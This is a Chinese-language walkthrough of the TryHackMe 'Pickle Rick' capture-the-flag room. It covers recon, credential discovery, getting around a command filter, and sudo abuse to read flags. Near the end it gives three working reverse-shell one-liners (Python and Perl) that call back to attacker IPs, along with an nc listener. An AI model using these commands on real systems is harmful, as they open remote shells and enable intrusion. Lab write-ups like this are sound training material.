TryHackme-Pickle Rick

源代码+命令执行

image-20250521113730143

启动靶机环境,10.10.72.240为目标主机,本次要求获取三份“药水配方”

Nmap扫描开放端口

image-20250521113803306

访问80端口,是一个网页

image-20250521113829437

查看源代码,发现一个可能是用户名的信息:R1ckRul3s

image-20250521113839234

目录爆破,可能有登录页面(既然发现有类似账户名的东西)

得到几个页面

/assets/

/login.php

/robots.txt

image-20250521113905964

image-20250521113910877

尝试访问robots文件,一串字符串,可能是密码:Wubbalubbadubdub

image-20250521113920186

Login.php应该就是登录页面,访问一下,带上之前搜集到的账户密码信息:

R1ckRul3s

Wubbalubbadubdub

image-20250521113937667

登录成功,一个命令执行页面

image-20250521114006014

image-20250521114011618

Cat 命令可能被过滤了

image-20250521114021977

用其他的命令尝试, tac 成功

image-20250521114033948

尝试使用sudo 看看能不能免密码使用root权限,发现可以,那去访问root目录,看看有没有可疑的文本

sudo ls /root

sudo tac /root/3rd.txt

image-20250521114047186

image-20250521114053028

看看home目录下有没有可疑文件

sudo ls /home

sudo ls /home/rick

image-20250521114107477

image-20250521114113432

image-20250521114122008

到此为止三个flag都被找到

(还有解题思路是通过反弹shell)

反弹shell生成器 (ywhack.com)

python3-c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.14.39.48",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
perl -e 'use Socket;$i="10.10.226.6";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.68.63",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

这是一些反弹shell脚本

nc -nlvp 1234

连上以后也是去查看目录,寻找flag

https://blog.csdn.net/m0_74606212/article/details/135726056(参考思路)